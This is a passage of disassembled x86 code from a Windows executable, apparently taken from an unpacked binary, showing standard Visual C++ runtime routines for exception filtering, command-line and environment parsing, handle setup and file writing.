push edi push ebx call sub_41BFF0 push offset asc_42C988 ; "\n\n" push ebx call sub_41BFF0 push off_432B7C[esi] push ebx call sub_41BFF0 push 12010h push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push ebx call sub_4207EB add esp, 2Ch jmp short loc_41DAC8 ; --------------------------------------------------------------------------- loc_41DAA3: ; CODE XREF: sub_41D967+46j ; sub_41D967+57j push edx lea eax, [ebp+arg_0] push eax lea esi, off_432B7C[esi] push dword ptr [esi] call sub_419D70 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call dword_4221B8 ; GetStdHandle push eax call dword_422030 ; WriteFile loc_41DAC8: ; CODE XREF: sub_41D967+38j ; sub_41D967+63j ... lea esp, [ebp-118h] mov ecx, [ebp+var_4] xor ecx, [ebp+4] call sub_41C596 pop edi pop esi pop ebx leave retn sub_41D967 endp ; =============== S U B R O U T I N E ======================================= sub_41DADE proc near ; CODE XREF: sub_41865A+9p ; sub_41867F+9p mov eax, dword_4811D0 cmp eax, 1 jz short loc_41DAF5 test eax, eax jnz short locret_41DB16 cmp dword_432384, 1 jnz short locret_41DB16 loc_41DAF5: ; CODE XREF: sub_41DADE+8j push 0FCh call sub_41D967 mov eax, dword_48134C test eax, eax pop ecx jz short loc_41DB0B call eax loc_41DB0B: ; CODE XREF: sub_41DADE+29j push 0FFh call sub_41D967 pop ecx locret_41DB16: ; CODE XREF: sub_41DADE+Cj ; sub_41DADE+15j retn sub_41DADE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DB17 proc near ; CODE XREF: .text:00418847p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi call sub_4191CF mov edi, [ebp+arg_0] mov esi, eax mov edx, [esi+54h] mov eax, dword_432C8C mov ecx, edx loc_41DB32: ; CODE XREF: sub_41DB17+2Aj cmp [ecx], edi jz short loc_41DB43 lea ebx, [eax+eax*2] add ecx, 0Ch lea ebx, [edx+ebx*4] cmp ecx, ebx jb short loc_41DB32 loc_41DB43: ; CODE XREF: sub_41DB17+1Dj lea eax, [eax+eax*2] lea eax, [edx+eax*4] cmp ecx, eax jnb short loc_41DB51 cmp [ecx], edi jz short loc_41DB53 loc_41DB51: ; CODE XREF: sub_41DB17+34j xor ecx, ecx loc_41DB53: ; CODE XREF: sub_41DB17+38j test ecx, ecx jz loc_41DC6D mov ebx, [ecx+8] test ebx, ebx mov [ebp+arg_0], ebx jz loc_41DC6D cmp ebx, 5 jnz short loc_41DB7A and dword ptr [ecx+8], 0 xor eax, eax inc eax jmp loc_41DC76 ; --------------------------------------------------------------------------- loc_41DB7A: ; CODE XREF: sub_41DB17+55j cmp ebx, 1 jz loc_41DC68 mov eax, [esi+58h] mov [ebp+var_4], eax mov eax, [ebp+arg_4] mov [esi+58h], eax mov eax, [ecx+4] cmp eax, 8 jnz loc_41DC5A mov edx, dword_432C80 mov eax, dword_432C84 add eax, edx cmp edx, eax jge short loc_41DBD3 lea eax, [edx+edx*2] shl eax, 2 loc_41DBB2: ; CODE XREF: sub_41DB17+B7j mov edi, [esi+54h] and dword ptr [eax+edi+8], 0 mov edi, dword_432C80 mov ebx, dword_432C84 inc edx add ebx, edi add eax, 0Ch cmp edx, ebx jl short loc_41DBB2 mov ebx, [ebp+arg_0] loc_41DBD3: ; CODE XREF: sub_41DB17+93j mov ecx, [ecx] cmp ecx, 0C000008Eh mov edi, [esi+5Ch] jnz short loc_41DBE9 mov dword ptr [esi+5Ch], 83h jmp short loc_41DC4D ; --------------------------------------------------------------------------- loc_41DBE9: ; CODE XREF: sub_41DB17+C7j cmp ecx, 0C0000090h jnz short loc_41DBFA mov dword ptr [esi+5Ch], 81h jmp short loc_41DC4D ; --------------------------------------------------------------------------- loc_41DBFA: ; CODE XREF: sub_41DB17+D8j cmp ecx, 0C0000091h jnz short loc_41DC0B mov dword ptr [esi+5Ch], 84h jmp short loc_41DC4D ; --------------------------------------------------------------------------- loc_41DC0B: ; CODE XREF: sub_41DB17+E9j cmp ecx, 0C0000093h jnz short loc_41DC1C mov dword ptr [esi+5Ch], 85h jmp short loc_41DC4D ; --------------------------------------------------------------------------- loc_41DC1C: ; CODE XREF: sub_41DB17+FAj cmp ecx, 0C000008Dh jnz short loc_41DC2D mov dword ptr [esi+5Ch], 82h jmp short loc_41DC4D ; --------------------------------------------------------------------------- loc_41DC2D: ; CODE XREF: sub_41DB17+10Bj cmp ecx, 0C000008Fh jnz short loc_41DC3E mov dword ptr [esi+5Ch], 86h jmp short loc_41DC4D ; --------------------------------------------------------------------------- loc_41DC3E: ; CODE XREF: sub_41DB17+11Cj cmp ecx, 0C0000092h jnz short loc_41DC4D mov dword ptr [esi+5Ch], 8Ah loc_41DC4D: ; CODE XREF: sub_41DB17+D0j ; sub_41DB17+E1j ... push dword ptr [esi+5Ch] push 8 call ebx pop ecx mov [esi+5Ch], edi jmp short loc_41DC61 ; --------------------------------------------------------------------------- loc_41DC5A: ; CODE XREF: sub_41DB17+7Ej and dword ptr [ecx+8], 0 push eax call ebx loc_41DC61: ; CODE XREF: sub_41DB17+141j mov eax, [ebp+var_4] pop ecx mov [esi+58h], eax loc_41DC68: ; CODE XREF: sub_41DB17+66j or eax, 0FFFFFFFFh jmp short loc_41DC76 ; --------------------------------------------------------------------------- loc_41DC6D: ; CODE XREF: sub_41DB17+3Ej ; sub_41DB17+4Cj push [ebp+arg_4] call dword_4221BC ; UnhandledExceptionFilter loc_41DC76: ; CODE XREF: sub_41DB17+5Ej ; sub_41DB17+154j pop edi pop esi pop ebx leave retn sub_41DB17 endp ; =============== S U B R O U T I N E ======================================= sub_41DC7B proc near ; CODE XREF: .text:004187FFp cmp dword_482998, 0 jnz short loc_41DC89 call sub_41D4BB loc_41DC89: ; CODE XREF: sub_41DC7B+7j push esi mov esi, dword_482988 test esi, esi jnz short loc_41DC9B mov esi, 422B02h jmp short loc_41DCE0 ; --------------------------------------------------------------------------- loc_41DC9B: ; CODE XREF: sub_41DC7B+17j mov al, [esi] cmp al, 22h jnz short loc_41DCC9 inc esi mov al, [esi] cmp al, 22h jz short loc_41DCD9 loc_41DCA8: ; CODE XREF: sub_41DC7B+45j test al, al jz short loc_41DCC2 movzx eax, al push eax call sub_420915 test eax, eax pop ecx jz short loc_41DCBB inc esi loc_41DCBB: ; CODE XREF: sub_41DC7B+3Dj inc esi mov al, [esi] cmp al, 22h jnz short loc_41DCA8 loc_41DCC2: ; CODE XREF: sub_41DC7B+2Fj cmp byte ptr [esi], 22h jnz short loc_41DCDA jmp short loc_41DCD9 ; --------------------------------------------------------------------------- loc_41DCC9: ; CODE XREF: sub_41DC7B+24j cmp al, 20h jbe short loc_41DCDA loc_41DCCD: ; CODE XREF: sub_41DC7B+56j inc esi cmp byte ptr [esi], 20h ja short loc_41DCCD jmp short loc_41DCDA ; --------------------------------------------------------------------------- loc_41DCD5: ; CODE XREF: sub_41DC7B+63j cmp al, 20h ja short loc_41DCE0 loc_41DCD9: ; CODE XREF: sub_41DC7B+2Bj ; sub_41DC7B+4Cj inc esi loc_41DCDA: ; CODE XREF: sub_41DC7B+4Aj ; sub_41DC7B+50j ... mov al, [esi] test al, al jnz short loc_41DCD5 loc_41DCE0: ; CODE XREF: sub_41DC7B+1Ej ; sub_41DC7B+5Cj mov eax, esi pop esi retn sub_41DC7B endp ; =============== S U B R O U T I N E ======================================= sub_41DCE4 proc near ; CODE XREF: .text:loc_4187CEp push ebx xor ebx, ebx cmp dword_482998, ebx push esi push edi jnz short loc_41DCF6 call sub_41D4BB loc_41DCF6: ; CODE XREF: sub_41DCE4+Bj mov esi, dword_4811C8 xor edi, edi cmp esi, ebx jnz short loc_41DD14 jmp short loc_41DD34 ; --------------------------------------------------------------------------- loc_41DD04: ; CODE XREF: sub_41DCE4+34j cmp al, 3Dh jz short loc_41DD09 inc edi loc_41DD09: ; CODE XREF: sub_41DCE4+22j push esi call sub_419D70 pop ecx lea esi, [esi+eax+1] loc_41DD14: ; CODE XREF: sub_41DCE4+1Cj mov al, [esi] cmp al, bl jnz short loc_41DD04 lea eax, ds:4[edi*4] push eax call sub_416E1F mov edi, eax cmp edi, ebx pop ecx mov dword_4811A4, edi jnz short loc_41DD39 loc_41DD34: ; CODE XREF: sub_41DCE4+1Ej or eax, 0FFFFFFFFh jmp short loc_41DD91 ; --------------------------------------------------------------------------- loc_41DD39: ; CODE XREF: sub_41DCE4+4Ej mov esi, dword_4811C8 push ebp jmp short loc_41DD6C ; --------------------------------------------------------------------------- loc_41DD42: ; CODE XREF: sub_41DCE4+8Aj push esi call sub_419D70 mov ebp, eax inc ebp cmp byte ptr [esi], 3Dh pop ecx jz short loc_41DD6A push ebp call sub_416E1F cmp eax, ebx pop ecx mov [edi], eax jz short loc_41DD95 push esi push eax call sub_41BFE0 pop ecx pop ecx add edi, 4 loc_41DD6A: ; CODE XREF: sub_41DCE4+6Bj add esi, ebp loc_41DD6C: ; CODE XREF: sub_41DCE4+5Cj cmp [esi], bl jnz short loc_41DD42 push dword_4811C8 call sub_416D07 mov dword_4811C8, ebx mov [edi], ebx mov dword_48298C, 1 xor eax, eax loc_41DD8F: ; CODE XREF: sub_41DCE4+C5j pop ecx pop ebp loc_41DD91: ; CODE XREF: sub_41DCE4+53j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41DD95: ; CODE XREF: sub_41DCE4+78j push dword_4811A4 call sub_416D07 mov dword_4811A4, ebx or eax, 0FFFFFFFFh jmp short loc_41DD8F sub_41DCE4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DDAB proc near ; CODE XREF: sub_41DF17+54p ; sub_41DF17+85p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx mov ebx, [ebp+arg_4] xor edx, edx cmp [ebp+arg_0], edx push edi mov [esi], edx mov edi, ecx mov dword ptr [ebx], 1 jz short loc_41DDCE mov ecx, [ebp+arg_0] add [ebp+arg_0], 4 mov [ecx], edi loc_41DDCE: ; CODE XREF: sub_41DDAB+18j ; sub_41DDAB+65j ... cmp byte ptr [eax], 22h jnz short loc_41DDE1 xor ecx, ecx test edx, edx setz cl inc eax mov edx, ecx mov cl, 22h jmp short loc_41DE0E ; --------------------------------------------------------------------------- loc_41DDE1: ; CODE XREF: sub_41DDAB+26j inc dword ptr [esi] test edi, edi jz short loc_41DDEC mov cl, [eax] mov [edi], cl inc edi loc_41DDEC: ; CODE XREF: sub_41DDAB+3Aj mov cl, [eax] movzx ebx, cl inc eax test byte_481721[ebx], 4 jz short loc_41DE07 inc dword ptr [esi] test edi, edi jz short loc_41DE06 mov bl, [eax] mov [edi], bl inc edi loc_41DE06: ; CODE XREF: sub_41DDAB+54j inc eax loc_41DE07: ; CODE XREF: sub_41DDAB+4Ej test cl, cl mov ebx, [ebp+arg_4] jz short loc_41DE40 loc_41DE0E: ; CODE XREF: sub_41DDAB+34j test edx, edx jnz short loc_41DDCE cmp cl, 20h jz short loc_41DE1C cmp cl, 9 jnz short loc_41DDCE loc_41DE1C: ; CODE XREF: sub_41DDAB+6Aj test edi, edi jz short loc_41DE24 and byte ptr [edi-1], 0 loc_41DE24: ; CODE XREF: sub_41DDAB+73j ; sub_41DDAB+96j and [ebp+var_4], 0 loc_41DE28: ; CODE XREF: sub_41DDAB+157j cmp byte ptr [eax], 0 jz loc_41DF07 loc_41DE31: ; CODE XREF: sub_41DDAB+93j mov cl, [eax] cmp cl, 20h jz short loc_41DE3D cmp cl, 9 jnz short loc_41DE43 loc_41DE3D: ; CODE XREF: sub_41DDAB+8Bj inc eax jmp short loc_41DE31 ; --------------------------------------------------------------------------- loc_41DE40: ; CODE XREF: sub_41DDAB+61j dec eax jmp short loc_41DE24 ; --------------------------------------------------------------------------- loc_41DE43: ; CODE XREF: sub_41DDAB+90j cmp byte ptr [eax], 0 jz loc_41DF07 cmp [ebp+arg_0], 0 jz short loc_41DE5B mov ecx, [ebp+arg_0] add [ebp+arg_0], 4 mov [ecx], edi loc_41DE5B: ; CODE XREF: sub_41DDAB+A5j inc dword ptr [ebx] loc_41DE5D: ; CODE XREF: sub_41DDAB+145j xor ebx, ebx inc ebx xor edx, edx jmp short loc_41DE66 ; --------------------------------------------------------------------------- loc_41DE64: ; CODE XREF: sub_41DDAB+BEj inc eax inc edx loc_41DE66: ; CODE XREF: sub_41DDAB+B7j cmp byte ptr [eax], 5Ch jz short loc_41DE64 cmp byte ptr [eax], 22h jnz short loc_41DE96 test dl, 1 jnz short loc_41DE94 cmp [ebp+var_4], 0 jz short loc_41DE87 lea ecx, [eax+1] cmp byte ptr [ecx], 22h jnz short loc_41DE87 mov eax, ecx jmp short loc_41DE89 ; --------------------------------------------------------------------------- loc_41DE87: ; CODE XREF: sub_41DDAB+CEj ; sub_41DDAB+D6j xor ebx, ebx loc_41DE89: ; CODE XREF: sub_41DDAB+DAj xor ecx, ecx cmp [ebp+var_4], ecx setz cl mov [ebp+var_4], ecx loc_41DE94: ; CODE XREF: sub_41DDAB+C8j shr edx, 1 loc_41DE96: ; CODE XREF: sub_41DDAB+C3j test edx, edx jz short loc_41DEA7 loc_41DE9A: ; CODE XREF: sub_41DDAB+FAj test edi, edi jz short loc_41DEA2 mov byte ptr [edi], 5Ch inc edi loc_41DEA2: ; CODE XREF: sub_41DDAB+F1j inc dword ptr [esi] dec edx jnz short loc_41DE9A loc_41DEA7: ; CODE XREF: sub_41DDAB+EDj mov cl, [eax] test cl, cl jz short loc_41DEF5 cmp [ebp+var_4], 0 jnz short loc_41DEBD cmp cl, 20h jz short loc_41DEF5 cmp cl, 9 jz short loc_41DEF5 loc_41DEBD: ; CODE XREF: sub_41DDAB+106j test ebx, ebx jz short loc_41DEEF test edi, edi jz short loc_41DEDE movzx edx, cl test byte_481721[edx], 4 jz short loc_41DED7 mov [edi], cl inc edi inc eax inc dword ptr [esi] loc_41DED7: ; CODE XREF: sub_41DDAB+124j mov cl, [eax] mov [edi], cl inc edi jmp short loc_41DEED ; --------------------------------------------------------------------------- loc_41DEDE: ; CODE XREF: sub_41DDAB+118j movzx ecx, cl test byte_481721[ecx], 4 jz short loc_41DEED inc eax inc dword ptr [esi] loc_41DEED: ; CODE XREF: sub_41DDAB+131j ; sub_41DDAB+13Dj inc dword ptr [esi] loc_41DEEF: ; CODE XREF: sub_41DDAB+114j inc eax jmp loc_41DE5D ; --------------------------------------------------------------------------- loc_41DEF5: ; CODE XREF: sub_41DDAB+100j ; sub_41DDAB+10Bj ... test edi, edi jz short loc_41DEFD and byte ptr [edi], 0 inc edi loc_41DEFD: ; CODE XREF: sub_41DDAB+14Cj inc dword ptr [esi] mov ebx, [ebp+arg_4] jmp loc_41DE28 ; --------------------------------------------------------------------------- loc_41DF07: ; CODE XREF: sub_41DDAB+80j ; sub_41DDAB+9Bj mov eax, [ebp+arg_0] test eax, eax jz short loc_41DF11 and dword ptr [eax], 0 loc_41DF11: ; CODE XREF: sub_41DDAB+161j inc dword ptr [ebx] pop edi pop ebx leave retn sub_41DDAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DF17 proc near ; CODE XREF: .text:004187BDp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp dword_482998, edi jnz short loc_41DF2E call sub_41D4BB loc_41DF2E: ; CODE XREF: sub_41DF17+10j and byte_481454, 0 push 104h mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push esi push edi call dword_422010 ; GetModuleFileNameA mov eax, dword_482988 cmp eax, edi mov off_4811B4, esi jz short loc_41DF5D cmp byte ptr [eax], 0 mov ebx, eax jnz short loc_41DF5F loc_41DF5D: ; CODE XREF: sub_41DF17+3Dj mov ebx, esi loc_41DF5F: ; CODE XREF: sub_41DF17+44j lea eax, [ebp+var_4] push eax push edi lea esi, [ebp+var_8] xor ecx, ecx mov eax, ebx call sub_41DDAB mov esi, [ebp+var_4] mov eax, [ebp+var_8] shl esi, 2 add eax, esi push eax call sub_416E1F mov edi, eax add esp, 0Ch test edi, edi jnz short loc_41DF8F or eax, 0FFFFFFFFh jmp short loc_41DFB4 ; --------------------------------------------------------------------------- loc_41DF8F: ; CODE XREF: sub_41DF17+71j lea eax, [ebp+var_4] push eax lea ecx, [esi+edi] push edi lea esi, [ebp+var_8] mov eax, ebx call sub_41DDAB mov eax, [ebp+var_4] dec eax pop ecx mov dword_481198, eax pop ecx mov dword_48119C, edi xor eax, eax loc_41DFB4: ; CODE XREF: sub_41DF17+76j pop edi pop esi pop ebx leave retn sub_41DF17 endp ; =============== S U B R O U T I N E ======================================= sub_41DFB9 proc near ; CODE XREF: .text:004187B3p var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx mov eax, dword_481458 push ebx push ebp push esi push edi mov edi, dword_4221CC xor ebx, ebx xor esi, esi cmp eax, ebx push 2 pop ebp jnz short loc_41E002 call edi ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz short loc_41DFE9 mov dword_481458, 1 jmp short loc_41E007 ; --------------------------------------------------------------------------- loc_41DFE9: ; CODE XREF: sub_41DFB9+22j call dword_422008 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_41DFFD mov eax, ebp mov dword_481458, eax jmp short loc_41E002 ; --------------------------------------------------------------------------- loc_41DFFD: ; CODE XREF: sub_41DFB9+39j mov eax, dword_481458 loc_41E002: ; CODE XREF: sub_41DFB9+1Aj ; sub_41DFB9+42j cmp eax, 1 jnz short loc_41E084 loc_41E007: ; CODE XREF: sub_41DFB9+2Ej cmp esi, ebx jnz short loc_41E013 call edi ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz short loc_41E08C loc_41E013: ; CODE XREF: sub_41DFB9+50j cmp [esi], bx mov eax, esi jz short loc_41E028 loc_41E01A: ; CODE XREF: sub_41DFB9+66j ; sub_41DFB9+6Dj add eax, ebp cmp [eax], bx jnz short loc_41E01A add eax, ebp cmp [eax], bx jnz short loc_41E01A loc_41E028: ; CODE XREF: sub_41DFB9+5Fj mov edi, dword_4220D8 push ebx push ebx push ebx sub eax, esi push ebx sar eax, 1 inc eax push eax push esi push ebx push ebx mov [esp+38h+var_4], eax call edi ; WideCharToMultiByte mov ebp, eax cmp ebp, ebx jz short loc_41E079 push ebp call sub_416E1F cmp eax, ebx pop ecx mov [esp+18h+var_8], eax jz short loc_41E079 push ebx push ebx push ebp push eax push [esp+28h+var_4] push esi push ebx push ebx call edi ; WideCharToMultiByte test eax, eax jnz short loc_41E075 push [esp+18h+var_8] call sub_416D07 pop ecx mov [esp+18h+var_8], ebx loc_41E075: ; CODE XREF: sub_41DFB9+ACj mov ebx, [esp+18h+var_8] loc_41E079: ; CODE XREF: sub_41DFB9+8Cj ; sub_41DFB9+9Bj push esi call dword_4221C8 ; FreeEnvironmentStringsW mov eax, ebx jmp short loc_41E0D4 ; --------------------------------------------------------------------------- loc_41E084: ; CODE XREF: sub_41DFB9+4Cj cmp eax, ebp jz short loc_41E090 cmp eax, ebx jz short loc_41E090 loc_41E08C: ; CODE XREF: sub_41DFB9+58j ; sub_41DFB9+E1j xor eax, eax jmp short loc_41E0D4 ; --------------------------------------------------------------------------- loc_41E090: ; CODE XREF: sub_41DFB9+CDj ; sub_41DFB9+D1j call dword_4221C4 ; GetEnvironmentStringsA mov esi, eax cmp esi, ebx jz short loc_41E08C cmp [esi], bl jz short loc_41E0AA loc_41E0A0: ; CODE XREF: sub_41DFB9+EAj ; sub_41DFB9+EFj inc eax cmp [eax], bl jnz short loc_41E0A0 inc eax cmp [eax], bl jnz short loc_41E0A0 loc_41E0AA: ; CODE XREF: sub_41DFB9+E5j sub eax, esi inc eax mov ebp, eax push ebp call sub_416E1F mov edi, eax cmp edi, ebx pop ecx jnz short loc_41E0C0 xor edi, edi jmp short loc_41E0CB ; --------------------------------------------------------------------------- loc_41E0C0: ; CODE XREF: sub_41DFB9+101j push ebp push esi push edi call sub_41B500 add esp, 0Ch loc_41E0CB: ; CODE XREF: sub_41DFB9+105j push esi call dword_4221C0 ; FreeEnvironmentStringsA mov eax, edi loc_41E0D4: ; CODE XREF: sub_41DFB9+C9j ; sub_41DFB9+D5j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn sub_41DFB9 endp ; =============== S U B R O U T I N E ======================================= sub_41E0DB proc near ; CODE XREF: .text:00418797p var_48 = dword ptr -48h var_44 = byte ptr -44h var_14 = dword ptr -14h var_10 = dword ptr -10h sub esp, 48h push ebx mov ebx, 480h push ebx call sub_416E1F test eax, eax pop ecx jnz short loc_41E0F7 or eax, 0FFFFFFFFh jmp loc_41E2D4 ; --------------------------------------------------------------------------- loc_41E0F7: ; CODE XREF: sub_41E0DB+12j mov dword_481600, eax mov dword_4815F0, 20h lea ecx, [eax+480h] jmp short loc_41E12C ; --------------------------------------------------------------------------- loc_41E10E: ; CODE XREF: sub_41E0DB+53j and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh and dword ptr [eax+8], 0 mov byte ptr [eax+5], 0Ah mov ecx, dword_481600 add eax, 24h add ecx, 480h loc_41E12C: ; CODE XREF: sub_41E0DB+31j cmp eax, ecx jb short loc_41E10E push ebp push esi push edi lea eax, [esp+58h+var_44] push eax call dword_422168 ; GetStartupInfoA cmp word ptr [esp+58h+var_14+2], 0 jz loc_41E233 mov eax, [esp+58h+var_10] test eax, eax jz loc_41E233 mov edi, [eax] lea ebp, [eax+4] lea eax, [edi+ebp] mov [esp+58h+var_48], eax mov eax, 800h cmp edi, eax jl short loc_41E16D mov edi, eax loc_41E16D: ; CODE XREF: sub_41E0DB+8Ej cmp dword_4815F0, edi jge short loc_41E1C3 mov esi, offset dword_481604 loc_41E17A: ; CODE XREF: sub_41E0DB+DEj push ebx call sub_416E1F test eax, eax pop ecx jz short loc_41E1BD add dword_4815F0, 20h mov [esi], eax lea ecx, [eax+480h] jmp short loc_41E1AC ; --------------------------------------------------------------------------- loc_41E196: ; CODE XREF: sub_41E0DB+D3j and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh and dword ptr [eax+8], 0 mov byte ptr [eax+5], 0Ah mov ecx, [esi] add eax, 24h add ecx, ebx loc_41E1AC: ; CODE XREF: sub_41E0DB+B9j cmp eax, ecx jb short loc_41E196 add esi, 4 cmp dword_4815F0, edi jl short loc_41E17A jmp short loc_41E1C3 ; --------------------------------------------------------------------------- loc_41E1BD: ; CODE XREF: sub_41E0DB+A8j mov edi, dword_4815F0 loc_41E1C3: ; CODE XREF: sub_41E0DB+98j ; sub_41E0DB+E0j xor ebx, ebx test edi, edi jle short loc_41E233 loc_41E1C9: ; CODE XREF: sub_41E0DB+156j mov eax, [esp+58h+var_48] mov eax, [eax] cmp eax, 0FFFFFFFFh jz short loc_41E228 mov cl, [ebp+0] test cl, 1 jz short loc_41E228 test cl, 8 jnz short loc_41E1EC push eax call dword_4221D4 ; GetFileType test eax, eax jz short loc_41E228 loc_41E1EC: ; CODE XREF: sub_41E0DB+104j mov ecx, ebx mov eax, ebx and eax, 1Fh lea eax, [eax+eax*8] sar ecx, 5 mov ecx, dword_481600[ecx*4] lea esi, [ecx+eax*4] mov eax, [esp+58h+var_48] mov eax, [eax] mov [esi], eax mov al, [ebp+0] mov [esi+4], al lea eax, [esi+0Ch] push 0FA0h push eax call sub_41EFD0 test eax, eax pop ecx pop ecx jz short loc_41E253 inc dword ptr [esi+8] loc_41E228: ; CODE XREF: sub_41E0DB+F7j ; sub_41E0DB+FFj ... add [esp+58h+var_48], 4 inc ebx inc ebp cmp ebx, edi jl short loc_41E1C9 loc_41E233: ; CODE XREF: sub_41E0DB+69j ; sub_41E0DB+75j ... xor ebx, ebx loc_41E235: ; CODE XREF: sub_41E0DB+1E2j mov ecx, dword_481600 lea eax, [ebx+ebx*8] lea esi, [ecx+eax*4] cmp dword ptr [esi], 0FFFFFFFFh jnz short loc_41E2B5 test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_41E258 push 0FFFFFFF6h pop eax jmp short loc_41E262 ; --------------------------------------------------------------------------- loc_41E253: ; CODE XREF: sub_41E0DB+148j ; sub_41E0DB+1CDj or eax, 0FFFFFFFFh jmp short loc_41E2D1 ; --------------------------------------------------------------------------- loc_41E258: ; CODE XREF: sub_41E0DB+171j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_41E262: ; CODE XREF: sub_41E0DB+176j push eax call dword_4221B8 ; GetStdHandle mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41E2AF push edi call dword_4221D4 ; GetFileType test eax, eax jz short loc_41E2AF and eax, 0FFh cmp eax, 2 mov [esi], edi jnz short loc_41E28D or byte ptr [esi+4], 40h jmp short loc_41E296 ; --------------------------------------------------------------------------- loc_41E28D: ; CODE XREF: sub_41E0DB+1AAj cmp eax, 3 jnz short loc_41E296 or byte ptr [esi+4], 8 loc_41E296: ; CODE XREF: sub_41E0DB+1B0j ; sub_41E0DB+1B5j lea eax, [esi+0Ch] push 0FA0h push eax call sub_41EFD0 test eax, eax pop ecx pop ecx jz short loc_41E253 inc dword ptr [esi+8] jmp short loc_41E2B9 ; --------------------------------------------------------------------------- loc_41E2AF: ; CODE XREF: sub_41E0DB+193j ; sub_41E0DB+19Ej or byte ptr [esi+4], 40h jmp short loc_41E2B9 ; --------------------------------------------------------------------------- loc_41E2B5: ; CODE XREF: sub_41E0DB+169j or byte ptr [esi+4], 80h loc_41E2B9: ; CODE XREF: sub_41E0DB+1D2j ; sub_41E0DB+1D8j inc ebx cmp ebx, 3 jl loc_41E235 push dword_4815F0 call dword_4221D0 ; SetHandleCount xor eax, eax loc_41E2D1: ; CODE XREF: sub_41E0DB+17Bj pop edi pop esi pop ebp loc_41E2D4: ; CODE XREF: sub_41E0DB+17j pop ebx add esp, 48h retn sub_41E0DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E2D9 proc near ; CODE XREF: sub_41E47E+52p ; sub_4209FE+91p var_420 = byte ptr -420h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 420h mov eax, dword_432A68 xor eax, [ebp+4] push edi xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+var_14], edi mov [ebp+var_18], edi jnz short loc_41E302 xor eax, eax jmp loc_41E470 ; --------------------------------------------------------------------------- loc_41E302: ; CODE XREF: sub_41E2D9+20j mov eax, [ebp+arg_0] push ebx mov ebx, [ebp+arg_0] and eax, 1Fh sar ebx, 5 push esi lea esi, [eax+eax*8] lea ebx, ds:481600h[ebx*4] mov eax, [ebx] shl esi, 2 test byte ptr [eax+esi+4], 20h jz short loc_41E335 push 2 push edi push edi push [ebp+arg_0] call sub_420926 add esp, 10h loc_41E335: ; CODE XREF: sub_41E2D9+4Bj mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_41E407 cmp [ebp+arg_8], edi mov eax, [ebp+arg_4] mov [ebp+var_10], eax mov [ebp+var_8], edi jbe loc_41E442 loc_41E355: ; CODE XREF: sub_41E2D9+F3j mov ecx, [ebp+var_10] sub ecx, [ebp+arg_4] lea eax, [ebp+var_420] mov [ebp+var_C], edi loc_41E364: ; CODE XREF: sub_41E2D9+B5j cmp ecx, [ebp+arg_8] jnb short loc_41E390 mov edx, [ebp+var_10] inc [ebp+var_10] mov dl, [edx] inc ecx cmp dl, 0Ah jnz short loc_41E381 inc [ebp+var_18] mov byte ptr [eax], 0Dh inc eax inc [ebp+var_C] loc_41E381: ; CODE XREF: sub_41E2D9+9Cj mov [eax], dl inc eax inc [ebp+var_C] cmp [ebp+var_C], 400h jl short loc_41E364 loc_41E390: ; CODE XREF: sub_41E2D9+8Ej mov edi, eax lea eax, [ebp+var_420] sub edi, eax push 0 lea eax, [ebp+var_1C] push eax push edi lea eax, [ebp+var_420] push eax mov eax, [ebx] push dword ptr [eax+esi] call dword_422030 ; WriteFile test eax, eax jz short loc_41E3D0 mov eax, [ebp+var_1C] add [ebp+var_14], eax cmp eax, edi jl short loc_41E3D9 mov eax, [ebp+var_10] sub eax, [ebp+arg_4] xor edi, edi cmp eax, [ebp+arg_8] jb short loc_41E355 jmp short loc_41E3DB ; --------------------------------------------------------------------------- loc_41E3D0: ; CODE XREF: sub_41E2D9+DCj call dword_422008 ; RtlGetLastWin32Error mov [ebp+var_8], eax loc_41E3D9: ; CODE XREF: sub_41E2D9+E6j xor edi, edi loc_41E3DB: ; CODE XREF: sub_41E2D9+F5j ; sub_41E2D9+14Ej ... mov eax, [ebp+var_14] cmp eax, edi jnz loc_41E46B cmp [ebp+var_8], edi jz short loc_41E442 push 5 pop esi cmp [ebp+var_8], esi jnz short loc_41E434 call sub_41B9A5 mov dword ptr [eax], 9 call sub_41B9AE mov [eax], esi jmp short loc_41E43D ; --------------------------------------------------------------------------- loc_41E407: ; CODE XREF: sub_41E2D9+64j push edi lea ecx, [ebp+var_1C] push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] call dword_422030 ; WriteFile test eax, eax jz short loc_41E429 mov eax, [ebp+var_1C] mov [ebp+var_8], edi mov [ebp+var_14], eax jmp short loc_41E3DB ; --------------------------------------------------------------------------- loc_41E429: ; CODE XREF: sub_41E2D9+143j call dword_422008 ; RtlGetLastWin32Error mov [ebp+var_8], eax jmp short loc_41E3DB ; 